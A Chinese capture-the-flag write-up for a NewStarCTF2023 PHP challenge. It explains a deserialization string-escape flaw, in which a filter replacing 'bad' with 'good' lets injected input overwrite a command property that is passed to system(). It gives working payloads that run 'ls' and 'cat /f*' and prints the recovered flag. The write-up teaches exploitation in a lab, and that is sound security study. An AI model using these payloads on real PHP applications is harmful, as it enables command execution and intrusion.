NewStarCTF2023week4-逃(反序列化字符串逃逸)

打开链接,大致审一下php代码,是反序列化相关的;

结合题目提示,很典型的字符串逃逸;

并且属于替换修改后导致序列化字符串变长的类型;

看似加了一个waf函数对我们提交的内容进行了过滤替换,实则替换函数正是我们利用的点!

NewStarCTF2023week4-逃(反序列化字符串逃逸)_第1张图片

从页面回显可以看出system函数被调用了,并且执行了whoami命令,

执行结果为:www-data www-data

我们这里要给key传参,利用str_replace()函数,实现字符串逃逸,进而间接修改参数cmd的值。

先随便给key传一个值,观察一下它序列化之后的样子:

key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}

$g = new GetFlag('123');
echo serialize($g);

?>

注意:这里对象$g创建时的构造函数(construct)需要接受一个$key参数,在实例化GetFlag对象时,如果没有传递$key参数,就会导致构造函数无法正常工作,从而阻止对象的正确序列化。

NewStarCTF2023week4-逃(反序列化字符串逃逸)_第2张图片

得到:O:7:"GetFlag":2:{s:3:"key";s:3:"123";s:3:"cmd";s:6:"whoami";}

主要参数介绍:

s表示类型是字符串(string);

3和6表示字符串长度;

key、cmd这些是变量名;

123、whoami是字符串内容。

字符串逃逸,为什么会出现逃逸?

在反序列化的时候php会根据s所指定的字符长度去读取后边的字符,由于在序列化操作后又使用了str_replace()函数进行字符串替换,这就可能会改变字符串的长度,比如上面将bad替换为good,每替换掉一个bad,字符串长度明显就增加了1,而由于序列化之后s的值没变,但是进行了内容替换,改变了字符串长度,那么反序列化读取时,就并不能将原本的内容读取完全。

而后面没有被读到的内容,也就是逃逸出来的字符串,就会被当做当前类的属性被继续执行。

这里我们想修改cmd的内容,也就需要逃逸出这部分内容:

";s:3:"cmd";s:6:"whoami";}

对其简单修改一下,比如我们想执行ls命令,ls有两个字符,所以s后改为2,之所以修改正确是为了后面能正确的被反序列化:

";s:3:"cmd";s:2:"ls";}

 整个逃逸内容有22个字符,每替换一个bad可以逃逸出一个字符,那么我们添加22个bad即可。

构造payload:

?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}

NewStarCTF2023week4-逃(反序列化字符串逃逸)_第3张图片

但是不知道为啥,在进行目录穿越时报错:

NewStarCTF2023week4-逃(反序列化字符串逃逸)_第4张图片

猜测flag在根目录下,同样的原理,构造payload:

?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}

NewStarCTF2023week4-逃(反序列化字符串逃逸)_第5张图片

直接拿下

flag{9ffa1365-891e-4730-b5e8-176000978c71}

你可能感兴趣的:(CTF,web,PHP,php,字符串逃逸,序列化,反序列化漏洞,web安全)